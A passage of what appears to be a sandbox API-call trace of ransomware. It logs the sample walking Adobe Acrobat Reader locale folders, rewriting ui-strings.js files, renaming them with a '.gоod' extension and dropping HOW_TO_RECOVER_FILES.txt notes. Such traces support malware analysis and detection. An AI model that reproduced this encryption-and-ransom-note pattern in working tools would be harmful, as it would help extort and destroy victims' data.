lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0155.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0155.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ca-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0155.012] GetFileType (hFile=0x650) returned 0x1 [0155.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0155.012] GetFileType (hFile=0x650) returned 0x1 [0155.013] WriteFile (in: hFile=0x650, lpBuffer=0x34510f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x34510f0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0155.014] CloseHandle (hObject=0x650) returned 1 [0155.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0155.014] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz", lpFilePart=0x0) returned 0x69 [0155.014] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0155.015] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.015] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0155.015] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0155.015] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0155.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0155.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0155.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0155.015] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz", lpFilePart=0x0) returned 0x69 [0155.015] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0155.015] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.016] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0155.016] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0155.016] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0155.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0155.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0155.016] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0155.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0155.016] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3460cc8 | out: lpFileInformation=0x3460cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0)) returned 1 [0155.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0155.016] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0155.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0155.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0155.017] GetFileType (hFile=0x650) returned 0x1 [0155.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0155.017] GetFileType (hFile=0x650) returned 0x1 [0155.017] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0155.017] ReadFile (in: hFile=0x650, lpBuffer=0x34611a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x34611a0*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0155.019] CloseHandle (hObject=0x650) returned 1 [0155.019] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0155.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0155.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0155.019] GetFileType (hFile=0x650) returned 0x1 [0155.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0155.019] GetFileType (hFile=0x650) returned 0x1 [0155.019] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3cc0 [0155.019] WriteFile (in: hFile=0x650, lpBuffer=0x3462498*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3462498*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0155.020] CloseHandle (hObject=0x650) returned 1 [0155.020] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0155.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0155.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0155.021] GetFileType (hFile=0x650) returned 0x1 [0155.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0155.021] GetFileType (hFile=0x650) returned 0x1 [0155.021] ReadFile (in: hFile=0x650, lpBuffer=0x34649e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x34649e8*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0155.117] CloseHandle (hObject=0x650) returned 1 [0155.117] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0155.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0155.118] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0155.118] GetFileType (hFile=0x650) returned 0x1 [0155.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0155.118] GetFileType (hFile=0x650) returned 0x1 [0155.118] WriteFile (in: hFile=0x650, lpBuffer=0x32f4528*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x32f4528*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0155.118] CloseHandle (hObject=0x650) returned 1 [0155.118] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0155.118] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0155.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0155.118] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x58abe36d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3cd0)) returned 1 [0155.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0155.118] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\cs-cz\\ui-strings.js.gоod")) returned 1 [0155.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0155.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0155.119] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\cs-cz\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0155.120] GetFileType (hFile=0x650) returned 0x1 [0155.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0155.120] GetFileType (hFile=0x650) returned 0x1 [0155.121] WriteFile (in: hFile=0x650, lpBuffer=0x331b290*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x331b290*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0155.122] CloseHandle (hObject=0x650) returned 1 [0155.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0155.122] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk", lpFilePart=0x0) returned 0x69 [0155.122] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0155.122] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.122] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0155.122] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0155.123] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0155.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0155.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0155.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0155.123] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk", lpFilePart=0x0) returned 0x69 [0155.123] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0155.123] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.123] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0155.123] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0155.123] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0155.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0155.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0155.124] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0155.124] SetThreadErrorMode 